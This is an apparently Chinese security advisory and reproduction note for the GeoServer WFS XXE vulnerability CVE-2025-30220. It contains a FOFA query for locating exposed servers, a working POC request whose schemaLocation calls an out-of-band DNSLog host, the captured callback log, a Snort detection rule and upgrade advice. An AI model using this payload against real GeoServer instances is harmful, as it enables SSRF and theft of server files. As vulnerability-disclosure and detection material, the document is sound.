

GeoServer-CVE-2025-30220-XXE

GeoServer-CVE-2025-30220-XXE，攻击者利用XML外部实体注入（XXE）可窃取服务器敏感文件、发起SSRF攻击或导致服务拒绝，严重威胁数据安全性和系统可用性。

影响版本

Package	Affected versions	Patched versions
org.geoserver.web:gs-web-app (Maven)	= 2.27.0>= 2.26.0, <= 2.26.2<= 2.25.6	2.27.12.26.32.25.7
org.geoserver:gs-wfs (Maven)	= 2.27.0>= 2.26.0, <= 2.26.2<= 2.25.6	2.27.12.26.32.25.7

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: app="GeoServer"

POC/EXP:

```
POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS x 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15
Connection: close
Content-Type: application/xml
Accept-Encoding: gzip

<wfs:GetFeature service="WFS" version="1.0.0"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
```

```
xmlns:topp="http://www.openplans.org/topp"
xsi:schemaLocation="http://a http://vxax19pq.eyes.sh"
outputFormat="KML">
<wfs:Query typeName="topp:states"/>
</wfs:GetFeature>
```

DNSLog

WebLog

API

Rebind

Payloads

vxax19pq

退出

域名

搜索

子域名: vxax19pq.eyes.sh

☐ 监视刷新

ID	域名	Type	IP	Count	位置	时间	操作
176934594	vxax19pq.eyes.sh	⚙					删除
176934593	vxax19pq.eyes.sh	A	192.178		美国	2025-06-17 17:43:56	删除
176934592	vxax19pq.eyes.sh	A	172.217		德国	2025-06-17 17:43:56	删除
176934591	vxax19pq.eyes.sh	A	172.217		澳大利亚	2025-06-17 17:43:56	删除

原始 HTTP 请求

```
1 POST /geoserver/wfs HTTP/1.1
2 Host :
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15
4 Connection: close
5 Content-Type: application/xml
6 Accept-Encoding: gzip
7
8 <wfs:GetFeature service="WFS" version="1.0.0"
9 xmlns:wfs="http://www.opengis.net/wfs"
10 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
11 xmlns:topp="http://www.openplans.org/topp"
12 xsi:schemaLocation="http://a http://vxax19pq.eyes.sh"
13 outputFormat="KML">
14 <wfs:Query typeName="topp:states"/>
15 </wfs:GetFeature>
```

原始 HTTP 响应

```
1 HTTP/1.1 200 OK
2 X-Frame-Options: SAMEORIGIN
3 Content-Type: text/xml; charset=UTF-8
4 Connection: close
5 Server: Jetty(9.2.13.v20150730)
6 Content-Length: 455
7
8 <?xml version="1.0"?>
9 <ServiceExceptionReport
10 ..version="1.2.0"
11 ..xmlns="http://www.opengis.net/ogc"
12 ..xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
13 ..xsi:schemaLocation="http://www.opengis.net/ogc http://schemas.
14 ..opengis.net/wfs/1.0.0/OGC-exception.xsd">
15 ..<ServiceException code="InvalidParameterValue" locator="typeName">
16 ..Could not locate {http://www.openplans.org/topp}states in
17 ..catalog.
18 </ServiceException></ServiceExceptionReport>
```

snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"GeoServer - XXE Injection via WFS Service (CVE-2025-30220)";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/geoserver/wfs"; http_uri;
  content:"Content-Type: application/xml"; http_header;
  pcre:"/xsi:schemaLocation\s*=\s*[\"]\s*dnslog\s*[\"]/i";
  pcre:"/<wfs:GetFeature[^\>]*xmlns:xsi\s*=\s*
[\"']http://www.w3.org/2001/XMLSchema-instance[\"']/i";
  metadata:service http;
  metadata:affected_product "GeoServer";
  metadata:attack_type "XML External Entity (XXE) Injection";
  metadata:severity "critical";
  reference:cve,CVE-2025-30220;
  classtype:web-application-attack;
  sid:1000145;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。